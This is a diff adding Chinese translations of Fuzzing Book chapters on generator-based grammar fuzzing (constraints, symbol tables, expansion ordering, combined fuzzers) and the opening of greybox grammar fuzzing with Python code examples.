+xml_fuzzer = GrammarFuzzer(XML_GRAMMAR)
+xml_fuzzer.fuzz()
+
+```
+
+```py
+'<t><qju>Text</m></q>'
+
+```
+
+设置后扩展功能，将第二个标识符设置为在第一个标识符中找到的字符串即可解决此问题：
+
+```py
+XML_GRAMMAR.update({
+    "<xml-tree>": [("<<id>><xml-content></<id>>",
+                    opts(post=lambda id1, content, id2: [None, None, id1])
+                    )]
+})
+
+assert is_valid_grammar(XML_GRAMMAR)
+
+```
+
+```py
+xml_fuzzer = GeneratorGrammarFuzzer(XML_GRAMMAR)
+xml_fuzzer.fuzz()
+
+```
+
+```py
+'<u>Text</u>'
+
+```
+
+### 示例：校验和
+
+作为最后一个示例，让我们考虑一下引言中的校验和问题。 使用我们新定义的修复机制，我们现在可以生成有效的信用卡号：
+
+```py
+credit_card_fuzzer = GeneratorGrammarFuzzer(
+    CHARGE_GRAMMAR, start_symbol="<credit-card-number>")
+credit_card_number = credit_card_fuzzer.fuzz()
+credit_card_number
+
+```
+
+```py
+'2967308746680770'
+
+```
+
+```py
+assert valid_luhn_checksum(credit_card_number)
+
+```
+
+有效性扩展到整个语法：
+
+```py
+charge_fuzzer = GeneratorGrammarFuzzer(CHARGE_GRAMMAR)
+charge_fuzzer.fuzz()
+
+```
+
+```py
+'Charge $818819.97 to my credit card 2817984968014288'
+
+```
+
+## 本地检查和修复
+
+到目前为止，我们总是首先生成一个完整的表达式树，之后再检查它的有效性。 这可能会变得很昂贵：如果首先生成多个元素只是后来发现它们中的一个无效，我们将花费大量时间尝试（随机）重新生成匹配的输入。
+
+为了演示这个问题，让我们创建一个表达式语法，其中所有数字都由零和一组成。 但是，我们不是使用建设性的方法，而是使用`post`约束过滤掉所有不符合条件的表达式：
+
+```py
+binary_expr_grammar = extend_grammar(EXPR_GRAMMAR,
+                                     {
+                                         "<integer>": [("<digit><integer>", opts(post=lambda digit, _: digit in ["0", "1"])),
+                                                       ("<digit>", opts(post=lambda digit: digit in ["0", "1"]))]
+                                     }
+                                     )
+
+assert is_valid_grammar(binary_expr_grammar)
+
+```
+
+这可行，但是非常慢； 找到匹配的表达式可能需要花费几秒钟的时间。
+
+```py
+binary_expr_fuzzer = GeneratorGrammarFuzzer(binary_expr_grammar)
+binary_expr_fuzzer.fuzz()
+
+```
+
+```py
+'(-+0)'
+
+```
+
+我们可以通过不仅检查最终子树的约束，而且还检查部分子树的约束来解决问题。 为此，我们扩展了方法`expand_tree_once()`，以便一旦子树中的所有符号都被扩展，它就会调用后扩展功能。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def expand_tree_once(self, tree):
+        # Apply inherited method.  This also calls `expand_tree_once()` on all
+        # subtrees.
+        new_tree = super().expand_tree_once(tree)
+
+        (symbol, children) = new_tree
+        if all([exp_post_expansion_function(expansion)
+                is None for expansion in self.grammar[symbol]]):
+            # No constraints for this symbol
+            return new_tree
+
+        if self.any_possible_expansions(tree):
+            # Still expanding
+            return new_tree
+
+        return self.run_post_functions_locally(new_tree)
+
+```
+
+主要工作在此辅助方法`run_post_functions_locally()`中进行。 通过将`depth`设置为零，它仅在当前节点上使用`run_post_functions()`运行扩展后功能$ f $，因为任何完成的子树都已经运行了它们的扩展后功能。 如果$ f $返回`False`，则`run_post_functions_locally()`返回未扩展的符号，以便主驱动程序可以尝试另一种扩展。 它最多可以执行10次（可在构建过程中通过`replacement_attempts`参数进行配置）； 之后，它会提出一个`RestartExpansionException`以重新开始从头开始创建树。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def run_post_functions_locally(self, new_tree):
+        symbol, _ = new_tree
+
+        result, children = self.run_post_functions(new_tree, depth=0)
+        if not isinstance(result, bool) or result:
+            # No constraints, or constraint satisfied
+            # children = self.apply_result(result, children)
+            new_tree = (symbol, children)
+            return new_tree
+
+        # Replace tree by unexpanded symbol and try again
+        if self.log:
+            print(
+                all_terminals(new_tree),
+                "did not satisfy",
+                symbol,
+                "constraint")
+
+        if self.replacement_attempts_counter > 0:
+            if self.log:
+                print("Trying another expansion")
+            self.replacement_attempts_counter -= 1
+            return (symbol, None)
+
+        if self.log:
+            print("Starting from scratch")
+        raise RestartExpansionException
+
+```
+
+```py
+class RestartExpansionException(Exception):
+    pass
+
+```
+
+设置类构造函数方法和`fuzz_tree()`以处理其他功能：
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def __init__(self, grammar, replacement_attempts=10, **kwargs):
+        super().__init__(grammar, **kwargs)
+        self.replacement_attempts = replacement_attempts
+
+    def restart_expansion(self):
+        super().restart_expansion()
+        self.replacement_attempts_counter = self.replacement_attempts
+
+    def fuzz_tree(self):
+        self.replacement_attempts_counter = self.replacement_attempts
+        while True:
+            try:
+                # This is fuzz_tree() as defined above
+                tree = super().fuzz_tree()
+                return tree
+            except RestartExpansionException:
+                self.restart_expansion()
+
+```
+
+```py
+binary_expr_fuzzer = GeneratorGrammarFuzzer(
+    binary_expr_grammar, replacement_attempts=100)
+binary_expr_fuzzer.fuzz()
+
+```
+
+```py
+'+0 / +-1 - 1 / +0 * -+0 * 0 * 1 / 1'
+
+```
+
+## 定义和使用
+
+利用上述生成器和约束，我们还可以解决复杂的示例。 [解析器](Parser.html)一章中的`VAR_GRAMMAR`语法将许多变量定义为算术表达式（它们也可以包含变量）。 在语法上应用简单的`GrammarFuzzer`会产生大量标识符，但是每个标识符都有一个唯一的名称。
+
+```py
+from [LangFuzzer](LangFuzzer.html) import VAR_GRAMMAR  # minor dependency
+
+```
+
+```py
+g = GrammarFuzzer(VAR_GRAMMAR)
+for i in range(10):
+    print(g.fuzz())
+
+```
+
+```py
+Gc=F/1*Y+M-D-9;N=n/(m)/m*7
+a=79.0;W=o-9;v=2;K=u;D=9
+o=y-z+y+4;q=5+W;X=T
+M=-98.032*5/o
+H=IA-5-1;n=3-t;QQ=5-5
+Y=-80;d=D-M+M;Z=4.3+1*r-5+b
+ZDGSS=(1*Y-4)*54/0*pcO/4;RI=r*5.0
+Q=6+z-6;J=6/t/9/i-3-5+k
+x=-GT*+-x*6++-93*5
+q=da*T/e--v;x=3+g;bk=u
+
+```
+
+我们想要的是在表达式中，仅应使用先前定义的标识符。 为此，我们围绕*符号表*引入了一组函数，该函数跟踪已定义的所有变量。
+
+```py
+SYMBOL_TABLE = set()
+
+```
+
+```py
+def define_id(id):
+    SYMBOL_TABLE.add(id)
+
+```
+
+```py
+def use_id():
+    if len(SYMBOL_TABLE) == 0:
+        return False
+
+    id = random.choice(list(SYMBOL_TABLE))
+    return id
+
+```
+
+```py
+def clear_symbol_table():
+    global SYMBOL_TABLE
+    SYMBOL_TABLE = set()
+
+```
+
+为了使用符号表，我们在`VAR_GRAMMAR`上附加了扩展前和扩展后函数，这些函数定义和查找符号表中的标识符。 我们将扩展语法命名为`CONSTRAINED_VAR_GRAMMAR`：
+
+```py
+CONSTRAINED_VAR_GRAMMAR = extend_grammar(VAR_GRAMMAR)
+
+```
+
+首先，我们设置语法，以便在每次定义标识符后，将其名称存储在符号表中：
+
+```py
+CONSTRAINED_VAR_GRAMMAR = extend_grammar(CONSTRAINED_VAR_GRAMMAR, {
+    "<assignment>": [("<identifier>=<expr>",
+                      opts(post=lambda id, expr: define_id(id)))]
+})
+
+```
+
+其次，我们确保在生成标识符时，也从符号表中选择它。 （我们在此处使用`post`，以便在尚无可用标识符的情况下可以返回`False`，从而导致进行另一次扩展。）
+
+```py
+CONSTRAINED_VAR_GRAMMAR = extend_grammar(CONSTRAINED_VAR_GRAMMAR, {
+    "<factor>": ['+<factor>', '-<factor>', '(<expr>)',
+                 ("<identifier>", opts(post=lambda _: use_id())),
+                 '<number>']
+})
+
+```
+
+最后，每次（重新）开始扩展时，我们都要清除符号表。 这很有用，因为我们有时可能不得不重新启动扩展。
+
+```py
+CONSTRAINED_VAR_GRAMMAR = extend_grammar(CONSTRAINED_VAR_GRAMMAR, {
+    "<start>": [("<statements>", opts(pre=clear_symbol_table))]
+})
+
+```
+
+```py
+assert is_valid_grammar(CONSTRAINED_VAR_GRAMMAR)
+
+```
+
+对此语法进行模糊处理可确保实际上定义了每个使用的标识符：
+
+```py
+var_grammar_fuzzer = GeneratorGrammarFuzzer(CONSTRAINED_VAR_GRAMMAR)
+for i in range(10):
+    print(var_grammar_fuzzer.fuzz())
+
+```
+
+```py
+DB=+(8/4/7-9+3+3)/2178/+-9
+lNIqc=+(1+9-8)/2.9*8/5*0
+Sg=(+9/8/6)*++1/(1+7)*8*4
+r=+---552
+iz=5/7/7;K=1+6*iz*1
+q=3-2;MPy=q;p=2*5
+zj=+5*-+35.2-+1.5727978+(-(-0/6-7+3))*--+44*1
+Tl=((0*9+4-3)-6)/(-3-7*8*8/7)+9
+aXZ=-5/-+3*9/3/1-8-+0*0/3+7+4
+NA=-(8+a-1)*1.6;g=++7;a=++g*g*g
+
+```
+
+## 订购扩展
+
+虽然我们前面的def / use示例确保使用的每个*变量*也是*定义的*变量，但是它并不需要考虑其中进行这些定义的*顺序* 。 实际上，可能首先会扩展`;`右侧的术语，从而在符号表中创建一个条目，然后将其用于左侧的表达式中。 我们可以通过使用`exec()`执行分配序列，在Python中实际评估产生的变量分配来证明这一点。 （鲜为人知的事实：Python *是否支持*作为语句分隔符。）
+
+```py
+var_grammar_fuzzer = GeneratorGrammarFuzzer(CONSTRAINED_VAR_GRAMMAR)
+with ExpectError():
+    for i in range(100):
+        s = var_grammar_fuzzer.fuzz()
+        try:
+            exec(s, {}, {})
+        except SyntaxError:
+            continue
+        except ZeroDivisionError:
+            continue
+print(s)
+
+```
+
+```py
+f=(9)*kOj*kOj-6/7;kOj=(9-8)*7*1
+
+```
+
+```py
+Traceback (most recent call last):
+  File "<ipython-input-75-7d8198a01aa0>", line 6, in <module>
+    exec(s, {}, {})
+  File "<string>", line 1, in <module>
+NameError: name 'kOj' is not defined (expected)
+
+```
+
+为了解决这个问题，我们允许显式指定扩展的*顺序。 对于我们以前的模糊器来说，这样的排序是无关紧要的，因为最终所有符号都将被扩展。 但是，如果我们具有具有副作用的扩展功能，那么控制扩展的顺序（以及控制相关功能的调用顺序）就很重要。*
+
+为了指定顺序，我们为各个扩展指定了特殊属性`order`。 这是一个列表，在扩展中的每个符号都有一个数字，表示从最小的顺序开始进行扩展的顺序。 例如，以下规则指定首先应扩展`;`分隔符的左侧：
+
+```py
+CONSTRAINED_VAR_GRAMMAR = extend_grammar(CONSTRAINED_VAR_GRAMMAR, {
+    "<statements>": [("<statement>;<statements>", opts(order=[1, 2])),
+                     "<statement>"]
+})
+
+```
+
+同样，我们希望仅在表达式扩展后的之后才生成变量的定义，因为否则，表达式可能已经引用了定义的变量：
+
+```py
+CONSTRAINED_VAR_GRAMMAR = extend_grammar(CONSTRAINED_VAR_GRAMMAR, {
+    "<assignment>": [("<identifier>=<expr>", opts(post=lambda id, expr: define_id(id),
+                                                  order=[2, 1]))],
+})
+
+```
+
+助手`exp_order()`允许我们检索订单：
+
+```py
+def exp_order(expansion):
+    """Return the specified expansion ordering, or None if unspecified"""
+    return exp_opt(expansion, 'order')
+
+```
+
+为了控制符号扩展的顺序，我们使用了`choose_tree_expansion()`方法，该方法专门为在子类中扩展而设置。 它遍历可扩展子项列表`expandable_children`进行选择，并将它们与扩展中的非末子项进行匹配，以确定其订单号。 然后返回订单号最低的可扩展子项的索引`min_given_order`，选择该子项进行扩展。
+
+```py
+class GeneratorGrammarFuzzer(GeneratorGrammarFuzzer):
+    def choose_tree_expansion(self, tree, expandable_children):
+        """Return index of subtree in `children` to be selected for expansion.  Defaults to random."""
+        (symbol, tree_children) = tree
+        if len(expandable_children) == 1:
+            # No choice
+            return super().choose_tree_expansion(tree, expandable_children)
+
+        expansion = self.find_expansion(tree)
+        given_order = exp_order(expansion)
+        if given_order is None:
+            # No order specified
+            return super().choose_tree_expansion(tree, expandable_children)
+
+        nonterminal_children = [c for c in tree_children if c[1] != []]
+        assert len(nonterminal_children) == len(given_order), \
+            "Order must have one element for each nonterminal"
+
+        # Find expandable child with lowest ordering
+        min_given_order = None
+        j = 0
+        for k, expandable_child in enumerate(expandable_children):
+            while j < len(
+                    nonterminal_children) and expandable_child != nonterminal_children[j]:
+                j += 1
+            assert j < len(nonterminal_children), "Expandable child not found"
+            if self.log:
+                print("Expandable child #%d  %s has order %d" %
+                      (k, expandable_child[0], given_order[j]))
+
+            if min_given_order is None or given_order[j] < min_given_order:
+                min_given_order = k
+
+        assert min_given_order is not None
+
+        if self.log:
+            print("Returning expandable child #%d  %s" %
+                  (min_given_order, expandable_children[min_given_order][0]))
+
+        return min_given_order
+
+```
+
+这样，我们的模糊器现在可以遵守顺序，并且所有变量都已正确定义：
+
+```py
+var_grammar_fuzzer = GeneratorGrammarFuzzer(CONSTRAINED_VAR_GRAMMAR)
+for i in range(100):
+    s = var_grammar_fuzzer.fuzz()
+    if i < 10:
+        print(s)
+    try:
+        exec(s, {}, {})
+    except SyntaxError:
+        continue
+    except ZeroDivisionError:
+        continue
+
+```
+
+```py
+SAl=4/-(2.92+5.27)/-4*0/6/3
+Z=+-7/+5.519*68/4*-+-(5/7+4)*(8*-1/0-1+6-0);o=2
+j=-(8+1+5)-+8/7*5-2/9+4;t=j
+S=-(9+9-1)--5+-8*4-1+8-2
+VImBX=06/7*6*7++-(+5*7*2+9-0)
+f=-7;j=(f*f*0)/-5*(f-f)-f*-1/f
+W=85.3*-++(9-5)/76.82/-2/++8*7;j=W
+xb=1*5*1*1-+0*3*7+2+9+0
+Edd=(4+8)/+4-+8*2*7+++9*+-+08.9
+u=-++33*+-6/(2*3*2+1/9-4*1-8)*((8.5))
+
+```
+
+真正的编程语言不仅具有一个全局范围，而且具有多个局部范围（通常嵌套在一起）。 通过仔细组织全局和局部符号表，我们可以建立一种语法来处理所有这些。 但是，在模糊编译器和解释器时，我们通常只关注单个函数，对于单个函数，单个作用域足以使大多数输入有效。
+
+## 全部在一起
+
+让我们通过将生成器功能与先前介绍的其他语法功能集成在一起来结束本章，尤其是[覆盖范围驱动的模糊测试](GrammarCoverageFuzzer.html)和[概率语法模糊测试](ProbabilisticGrammarFuzzer.html)。
+
+集成单个功能的总体思路是通过*多重继承*，我们已经将其用于`ProbabilisticGrammarCoverageFuzzer`，并已在[概率模糊](ProbabilisticGrammarFuzzer.html)练习中引入。
+
+### 生成器和概率模糊
+
+概率模糊非常容易与生成器集成，因为二者以不同的方式扩展了`GrammarFuzzer`。
+
+```py
+from [ProbabilisticGrammarFuzzer](ProbabilisticGrammarFuzzer.html) import ProbabilisticGrammarFuzzer  # minor dependency
+
+```
+
+```py
+from [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils) import inheritance_conflicts
+
+```
+
+```py
+inheritance_conflicts(ProbabilisticGrammarFuzzer, GeneratorGrammarFuzzer)
+
+```
+
+```py
+['supported_opts']
+
+```
+
+我们必须将`supported_opts()`实现为两个超类的合并。 同时，我们还设置了构造函数，使其可以同时调用两者。
+
+```py
+class ProbabilisticGeneratorGrammarFuzzer(GeneratorGrammarFuzzer,
+                                          ProbabilisticGrammarFuzzer):
+    def supported_opts(self):
+        return (super(GeneratorGrammarFuzzer, self).supported_opts() |
+                super(ProbabilisticGrammarFuzzer, self).supported_opts())
+
+    def __init__(self, grammar, replacement_attempts=10, **kwargs):
+        super(
+            GeneratorGrammarFuzzer,
+            self).__init__(
+            grammar,
+            replacement_attempts)
+        super(ProbabilisticGrammarFuzzer, self).__init__(grammar, **kwargs)
+
+```
+
+让我们给联合类一个简单的测试，使用概率来支持长标识符：
+
+```py
+CONSTRAINED_VAR_GRAMMAR.update({
+    '<word>': [('<alpha><word>', opts(prob=0.9)),
+               '<alpha>'],
+})
+
+```
+
+```py
+pgg_fuzzer = ProbabilisticGeneratorGrammarFuzzer(CONSTRAINED_VAR_GRAMMAR)
+pgg_fuzzer.supported_opts()
+
+```
+
+```py
+{'order', 'post', 'pre', 'prob'}
+
+```
+
+```py
+pgg_fuzzer.fuzz()
+
+```
+
+```py
+'hfaHpaxvv=+-(8*-(7)*5-(4))/+-(-5*-43);h=7'
+
+```
+
+基于语法覆盖的模糊测试是一个更大的挑战。 对于这两种方法中都重载的方法，并没有那么多； 我们可以如上所述解决这些问题。
+
+```py
+from [ProbabilisticGrammarFuzzer](ProbabilisticGrammarFuzzer.html) import ProbabilisticGrammarCoverageFuzzer  # minor dependency
+
+```
+
+```py
+from [GrammarCoverageFuzzer](GrammarCoverageFuzzer.html) import GrammarCoverageFuzzer  # minor dependency
+
+```
+
+```py
+inheritance_conflicts(
+    ProbabilisticGrammarCoverageFuzzer,
+    GeneratorGrammarFuzzer)
+
+```
+
+```py
+['__init__', 'supported_opts']
+
+```
+
+```py
+class ProbabilisticGeneratorGrammarCoverageFuzzer(GeneratorGrammarFuzzer,
+                                                  ProbabilisticGrammarCoverageFuzzer):
+    def supported_opts(self):
+        return (super(GeneratorGrammarFuzzer, self).supported_opts() |
+                super(ProbabilisticGrammarCoverageFuzzer, self).supported_opts())
+
+    def __init__(self, grammar, replacement_attempts=10, **kwargs):
+        super(
+            GeneratorGrammarFuzzer,
+            self).__init__(
+            grammar,
+            replacement_attempts)
+        super(
+            ProbabilisticGrammarCoverageFuzzer,
+            self).__init__(
+            grammar,
+            **kwargs)
+
+```
+
+问题在于，在扩展过程中，我们*可能会*生成（并覆盖）我们随后删除的扩展（例如，因为`post`函数返回`False`）。 因此，我们必须*删除*最终生产中不再存在的此覆盖范围。
+
+我们通过在生成后的最终树中重建*的覆盖率*来解决该问题。 为此，我们将使用`fuzz_tree()`方法。 我们让它在创建树之前保存原始coverage，然后将其还原。 然后我们遍历生成的树，再次将其覆盖范围重新添加（`add_tree_coverage()`）。
+
+```py
+import [copy](https://docs.python.org/3/library/copy.html)
+
+```
+
+```py
+class ProbabilisticGeneratorGrammarCoverageFuzzer(
+        ProbabilisticGeneratorGrammarCoverageFuzzer):
+    def fuzz_tree(self):
+        self.orig_covered_expansions = copy.deepcopy(self.covered_expansions)
+        tree = super().fuzz_tree()
+        self.covered_expansions = self.orig_covered_expansions
+        self.add_tree_coverage(tree)
+        return tree
+
+    def add_tree_coverage(self, tree):
+        (symbol, children) = tree
+        if len(children) > 0:
+            flat_children = [(child_symbol, None)
+                             for (child_symbol, _) in children]
+            self.add_coverage(symbol, flat_children)
+            for c in children:
+                self.add_tree_coverage(c)
+
+```
+
+作为最后一步，我们确保如果必须从头开始重新启动扩展，我们还将还原先前的覆盖范围，以便我们可以重新开始：
+
+```py
+class ProbabilisticGeneratorGrammarCoverageFuzzer(
+        ProbabilisticGeneratorGrammarCoverageFuzzer):
+    def restart_expansion(self):
+        super().restart_expansion()
+        self.covered_expansions = self.orig_covered_expansions
+
+```
+
+让我们尝试一下。 生成字符串后，我们应该在`expansion_coverage()`中看到其覆盖范围：
+
+```py
+pggc_fuzzer = ProbabilisticGeneratorGrammarCoverageFuzzer(
+    CONSTRAINED_VAR_GRAMMAR)
+pggc_fuzzer.fuzz()
+
+```
+
+```py
+'sM=7/5*9++(-6/2/8)-4+1;g=3'
+
+```
+
+```py
+pggc_fuzzer.expansion_coverage()
+
+```
+
+```py
+{'<alpha> -> M',
+ '<alpha> -> g',
+ '<alpha> -> s',
+ '<assignment> -> <identifier>=<expr>',
+ '<digit> -> 1',
+ '<digit> -> 2',
+ '<digit> -> 3',
+ '<digit> -> 4',
+ '<digit> -> 5',
+ '<digit> -> 6',
+ '<digit> -> 7',
+ '<digit> -> 8',
+ '<digit> -> 9',
+ '<expr> -> <term>',
+ '<expr> -> <term>+<expr>',
+ '<expr> -> <term>-<expr>',
+ '<factor> -> (<expr>)',
+ '<factor> -> +<factor>',
+ '<factor> -> -<factor>',
+ '<factor> -> <number>',
+ '<identifier> -> <word>',
+ '<integer> -> <digit>',
+ '<number> -> <integer>',
+ '<start> -> <statements>',
+ '<statement> -> <assignment>',
+ '<statements> -> <statement>',
+ '<statements> -> <statement>;<statements>',
+ '<term> -> <factor>',
+ '<term> -> <factor>*<term>',
+ '<term> -> <factor>/<term>',
+ '<word> -> <alpha>',
+ '<word> -> <alpha><word>'}
+
+```
+
+再次进行模糊测试将最终覆盖标识符中的所有字母：
+
+```py
+[pggc_fuzzer.fuzz() for i in range(10)]
+
+```
+
+```py
+['tIbFSBC=0/7/8+9*2/1*9;m=7',
+ 'LHkGcwXqTUzODjWhRruVo=6/4/5/6+1+7+5*1-2',
+ 'QYePndypZKxNafAElvILv=551.3;ZRhYGwEfIDYSfiunr=02.45*(2+0)+3*QYePndypZKxNafAElvILv+QYePndypZKxNafAElvILv/7',
+ 'uIQHzf=(4/8)/5/-8-+(9-3+9+8+0)/++-2',
+ 'DWNVzzWELL=((3+4)-++4/9*0+67)/(50169.1*3)',
+ 'NVKZ=-011/++82.4*-(5*6*6)/97.3/-3/1',
+ 'O=+(2*(8)*2+(7/0))/+-6*+0.3*8',
+ 'RMfynoao=-+02/(7)*8--9+8*5/3-5+9',
+ 'k=2/3/4.7*6---+-3;q=1',
+ 'MR=49*1++21-5/6/2*5;x=MR']
+
+```
+
+有了`ProbabilisticGeneratorGrammarCoverageFuzzer`，我们现在有了一个语法模糊器，它将有效的语法模糊与覆盖率，概率和生成器功能结合在一起。 唯一缺少的是缩写。 `PGGCFuzzer`，也许？
+
+```py
+PGGCFuzzer = ProbabilisticGeneratorGrammarCoverageFuzzer
+
+```
+
+## 经验教训
+
+语法扩展附带的功能可以使用
+
+*   作为*生成器*，可以有效地从函数产生符号扩展；
+*   由于*约束*对照（复杂）有效性条件检查生成的字符串； 和
+*   如*修复*以将更改应用于所产生的字符串，例如校验和和标识符。
+
+## 后续步骤
+
+在本章中，我们具有强大的语法，可以在许多领域中使用：
+
+*   在有关模糊化API 的[一章中，我们展示了如何利用`GeneratorGrammarFuzzer`功能来组合语法和生成器功能，从而生成用于测试的复杂数据结构。](APIFuzzer.html)
+*   在[关于模糊用户界面](WebFuzzer.html)的章节中，我们利用`GeneratorGrammarFuzzer`生成复杂的用户界面输入。
+
+## 背景
+
+对于模糊API，生成器功能非常常见。 在API模糊测试的[一章中，我们展示了如何将它们与语法结合起来以产生更丰富的测试。](APIFuzzer.html)
+
+生成器函数和语法的组合是最可能的，因为我们在全Python环境中定义和使用了语法。 我们不知道另一个具有类似功能的基于语法的模糊系统。
+
+## 练习
+
+### 练习1：树处理
+
+到目前为止，我们的`pre`和`post`处理函数都接受并产生字符串。 但是，在某些情况下，直接访问*派生树*很有用-例如，访问和检查某些子元素。
+
+您的任务是使用可以接受和返回派生树的预处理和后处理功能扩展`GeneratorGrammarFuzzer`。 为此，请按照下列步骤操作：
+
+1.  扩展`GeneratorGrammarFuzzer`，以使函数可以返回派生树（元组）或派生树列表，然后以与字符串相同的方式替换子树。
+2.  用`post_tree`属性扩展`GeneratorGrammarFuzzer`，该属性具有与`post`类似的功能，不同之处在于其参数将是派生树。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GeneratorGrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+### 练习2：属性文法
+
+建立一种机制，通过该机制可以将任意*属性*附加到派生树中的各个元素。 扩展功能可以将此类属性附加到各个符号上（例如，通过返回`opts()`），还可以在以后的调用中访问符号的属性。 这是一个例子：
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GeneratorGrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
+
+```py
+ATTR_GRAMMAR = {
+    "<clause>": [("<xml-open>Text<xml-close>", opts(post=lambda x1, x2: [None, x1.name]))],
+    "<xml-open>": [("<<tag>>", opts(post=lambda tag: opts(name=random_name())))],
+    "<xml-close>": ["</<tag>>"]
+}
+
+```
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GeneratorGrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/21.md b/new/fuzzing-book-zh/21.md
new file mode 100644
index 0000000000000000000000000000000000000000..2017a6a2e21066b3b163f8bd40c685c9afa687b6
--- /dev/null
+++ b/new/fuzzing-book-zh/21.md
@@ -0,0 +1,1440 @@
+# 带有语法的Greybox模糊测试
+
+> 原文： [https://www.fuzzingbook.org/html/GreyboxGrammarFuzzer.html](https://www.fuzzingbook.org/html/GreyboxGrammarFuzzer.html)
+
+在本章中，我们介绍了语法模糊技术的两个重要扩展：
+
+1.  我们展示了如何将[解析](Parser.html)和[模糊化](GrammarFuzzer.html)与语法结合在一起。 这允许*在保留语法正确性的同时对*现有输入进行变异，并允许*在生成新输入时重用来自现有输入的*片段。 如本章所述，解析和模糊测试的结合在实践中非常成功：用于JavaScript的 *LangFuzz* 模糊器已经通过这种方式在JavaScript解释器中发现了2,600多个错误。
+
+2.  在前面的章节中，我们以*黑盒*的方式使用语法-也就是说，无论测试程序如何，我们都使用它们来生成输入。 在本章中，我们介绍使用语法的突变*灰盒模糊测试：这些技术利用被测程序*的*反馈来指导测试世代实现特定目标。 就像[词法灰箱模糊](GreyboxFuzzer.html)中一样，此反馈大部分是*覆盖率*，这使我们可以将基于语法的测试指向未发现的代码部分。*
+
+**前提条件**
+
+*   我们基于[上关于灰盒模糊化（无语法）](GreyboxFuzzer.html)的几个概念。
+*   如标题所示，您应该从语法的一章中知道如何对语法[进行模糊处理。](Grammars.html)
+
+## 背景
+
+首先，我们[回顾了](GreyboxFuzzer.html#Ingredients-for-Greybox-Fuzzing)突变模糊测试仪的一些基本要素。
+
+*   **种子**。 *种子*是模糊器用来通过应用一系列突变产生新输入的输入。
+*   **变异子**。 *变异器*实现了一组变异运算符，这些变异运算符应用于输入会产生稍微修改的输入。
+*   **PowerSchedule** 。 *功率调度*将*能量*分配给种子。 在整个模糊测试中，能量较高的种子会更加模糊。
+*   **MutationFuzzer** 。 我们的*突变黑盒模糊测试器*通过对初始输入种群中的种子进行突变来生成输入。
+*   **GreyboxFuzzer** 。 我们的*灰盒模糊测试仪*动态地将输入添加到增加覆盖率的种子种群中。
+*   **FunctionCoverageRunner** 。 我们的*函数覆盖率运行程序*收集用于执行给定Python函数的覆盖率信息。
+
+让我们尝试一下这些概念。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [GreyboxFuzzer](GreyboxFuzzer.html) import Mutator, Seed, PowerSchedule, MutationFuzzer, GreyboxFuzzer
+from [MutationFuzzer](MutationFuzzer.html) import FunctionCoverageRunner
+
+```
+
+以下命令将突变应用于输入“ Hello World”。
+
+```py
+Mutator().mutate("Hello World")
+
+```
+
+```py
+'Lello World'
+
+```
+
+默认的功率计划在所有种子之间均匀分配能量。 让我们检查一下是否可行。
+
+我们从三个种子的种群中选择1万次。 正如我们在`hits`计数器中看到的那样，每个种子的选择时间约为三分之一。
+
+```py
+population = [Seed("A"), Seed("B"), Seed("C")]
+schedule = PowerSchedule()
+hits = {
+    "A" : 0,
+    "B" : 0,
+    "C" : 0
+}
+
+for i in range(10000):
+    seed = schedule.choose(population)
+    hits[seed.data] += 1
+
+hits
+
+```
+
+```py
+{'A': 3267, 'B': 3328, 'C': 3405}
+
+```
+
+在解释功能介绍之前，让我们以导入Python的HTML解析器为例...
+
+```py
+from [html.parser](https://docs.python.org/3/library/html.parser.html) import HTMLParser
+
+```
+
+...并创建一个*包装函数*，该函数将每个输入传递到新的解析器对象中。
+
+```py
+def my_parser(inp):
+    parser = HTMLParser()
+    parser.feed(inp)
+
+```
+
+`FunctionCoverageRunner`构造函数使用Python `function`执行。 函数`run()`接受输入，将其传递给Python `function`，并收集此执行的覆盖率信息。 函数`coverage()`为Python `function`中涵盖的每个语句返回元组`(function name, line number)`的列表。
+
+```py
+runner = FunctionCoverageRunner(my_parser)
+runner.run("Hello World")
+cov = runner.coverage()
+
+list(cov)[:5] # Print 5 statements covered in HTMLParser
+
+```
+
+```py
+[('__init__', 93),
+ ('goahead', 148),
+ ('updatepos', 53),
+ ('goahead', 251),
+ ('goahead', 141)]
+
+```
+
+我们的灰盒模糊器需要种子种群，变异者和能量计划。 让我们从“空”种子语料库开始生成5000个模糊输入。
+
+```py
+import [time](https://docs.python.org/3/library/time.html)
+import [random](https://docs.python.org/3/library/random.html)
+
+```
+
+```py
+n = 5000
+seed_input = " " # empty seed
+runner = FunctionCoverageRunner(my_parser)
+fuzzer = GreyboxFuzzer([seed_input], Mutator(), PowerSchedule())
+
+start = time.time()
+fuzzer.runs(runner, trials=n)
+end = time.time()
+
+"It took the fuzzer %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the fuzzer 1.41 seconds to generate and execute 5000 inputs.'
+
+```
+
+```py
+"During this fuzzing campaign, we covered %d statements." % len(runner.coverage())
+
+```
+
+```py
+'During this fuzzing campaign, we covered 85 statements.'
+
+```
+
+## 建立关键字字典
+
+为了模糊我们的HTML解析器，将有关输入中的重要关键字（即重要的HTML关键字）通知突变模糊器可能很有用。 为此，我们扩展了变量器，以考虑*字典*中的关键字。
+
+```py
+class DictMutator(Mutator):
+    def __init__(self, dictionary):
+        super().__init__()
+        self.dictionary = dictionary
+        self.mutators.append(self.insert_from_dictionary)
+
+    def insert_from_dictionary(self,s):
+        """Returns s with a keyword from the dictionary inserted"""
+        pos = random.randint(0, len(s))
+        random_keyword = random.choice(self.dictionary)
+        return s[:pos] + random_keyword + s[pos:]
+
+```
+
+让我们尝试添加一些HTML标记和属性，并查看`DictMutator`的覆盖率是否增加。
+
+```py
+runner = FunctionCoverageRunner(my_parser)
